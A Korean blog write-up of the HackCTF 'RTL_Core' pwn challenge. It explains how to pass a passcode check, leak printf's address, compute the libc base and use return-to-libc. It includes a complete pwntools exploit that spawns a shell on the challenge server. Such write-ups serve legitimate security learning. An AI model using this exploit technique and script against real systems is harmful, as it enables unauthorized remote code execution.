상세 컨텐츠

본문 제목

[HackCTF] RTL_Core

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 8. 23:48

본문

728x90
반응형

# 보호기법 확인

 

 

# process 

 

 

passcode와 입력값이 같으면 core 함수를 호출해준다.

Passcodev2인데, v25번에 걸쳐 더한 결과이다. 따라서 5번에 나눠서 줘야 한다.

 

hashcode 값은 0xc0d9b0a7인데 5로 나누면 0x2691f021이 나온다. 

이걸 5로 곱하면 0xc0d9b0a5으로 2가 모자른데, 마지막 5번째를 0x2691f023으로 준다.

 

그럼 위와 같이 출력해준다.

문제는..printf 함수 주소가 한글로 둘러싸여 있다.

그래서 0까지 받고 0을 붙이기로 했다.

그리고 주소 다음은 p.recv()로 받는다.

 

(실행파일로 구할 땐 잘 구해졌는데 remote로 구할 때는 안 되서 두 과정을 다르게 해야했다.)

 

처음에 주어진 hashcode 어떻게 쓰는건지만 알면 return address를 덮고 rtl을 사용하면 되므로 괜찮았다.

 

그리고 $ ldd RTL_Core 로 구한 libc파일 말고 주어진 파일을 로드해서 사용하도록 하자...

process로 할 때는 상관없는데, remote로 할 때는 주어진 libc.so.6 파일을 사용해야 쉘이 제대로 따졌다.

 

# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#p = process("./rtlcore")
p = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF("./libc.so.6")

pay = ""
for i in range(4):
    pay += "\x21\xf0\x91\x26"
pay += "\x23\xf0\x91\x26"

p.sendlineafter("Passcode: ", pay)

print p.recvuntil("0")
printf = int('0' + p.recv(9), 16)
log.info("printf addr : "+hex(printf))
libcBase = printf - libc.symbols['printf']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]

pay = 'A'*(0x3e + 0x4) + p32(system) + 'B'*0x4 + p32(binsh)

print p.recv()
pause()
p.sendline(pay)

p.interactive()

 

# exploit

 

 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2020.01.12
[HackCTF] 1996  (0) 2020.01.08
[HackCTF] g++pwn  (0) 2020.01.08
[HackCTF] poet  (0) 2020.01.08
[HackCTF] RTL_World  (0) 2020.01.02

관련글 더보기